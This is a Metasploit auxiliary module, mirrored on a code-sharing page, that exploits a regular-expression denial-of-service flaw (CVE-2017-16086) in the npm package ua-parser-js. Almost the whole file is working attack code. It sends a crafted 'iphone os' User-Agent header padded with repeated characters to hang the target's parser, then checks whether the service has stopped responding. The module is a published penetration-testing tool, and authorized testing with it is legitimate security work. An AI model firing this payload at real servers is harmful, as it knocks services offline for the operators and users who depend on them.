Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize
11
super(
12
'Name' => 'ua-parser-js npm module ReDoS',
13
'Description' => %q{
14
This module exploits a Regular Expression Denial of Service vulnerability
15
in the npm module "ua-parser-js". Server-side applications that use
16
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
17
if they call the "getOS" or "getResult" functions. This vulnerability was
18
fixed as of version 0.7.16.
19
},
20
'References' => [
21
['CVE', '2017-16086'],
22
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
23
['CWE', '400'],
24
],
25
'Author' => [
26
'Ryan Knell, Sonatype Security Research',
27
'Nick Starke, Sonatype Security Research',
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'Stability' => [CRASH_SERVICE_DOWN],
32
'SideEffects' => [],
33
'Reliability' => []
34
}
35
)
36
37
register_options([
38
Opt::RPORT(80)
39
])
40
end
41
42
def run
43
if test_service
44
trigger_redos
45
test_service_unresponsive
46
else
47
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
48
end
49
end
50
51
def trigger_redos
52
print_status("Sending ReDoS request to #{peer}.")
53
54
res = send_request_cgi({
55
'uri' => '/',
56
'method' => 'GET',
57
'headers' => {
58
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
59
}
60
})
61
62
if res.nil?
63
print_status("No response received from #{peer}, service is most likely unresponsive.")
64
else
65
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
66
end
67
rescue ::Rex::ConnectionRefused
68
print_error("Unable to connect to #{peer}.")
69
rescue ::Timeout::Error
70
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
71
end
72
73
def test_service_unresponsive
74
print_status('Testing for service unresponsiveness.')
75
76
res = send_request_cgi({
77
'uri' => '/' + Rex::Text.rand_text_alpha(8),
78
'method' => 'GET'
79
})
80
81
if res.nil?
82
print_good('Service not responding.')
83
else
84
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
85
end
86
rescue ::Rex::ConnectionRefused
87
print_error('An unknown error occurred.')
88
rescue ::Timeout::Error
89
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
90
end
91
92
def test_service
93
print_status('Testing Service to make sure it is working.')
94
95
res = send_request_cgi({
96
'uri' => '/' + Rex::Text.rand_text_alpha(8),
97
'method' => 'GET'
98
})
99
100
if !res.nil? && (res.code == 200 || res.code == 404)
101
print_status('Test request successful, attempting to send payload')
102
return true
103
else
104
return false
105
end
106
rescue ::Rex::ConnectionRefused
107
print_error("Unable to connect to #{peer}.")
108
return false
109
end
110
end
111
112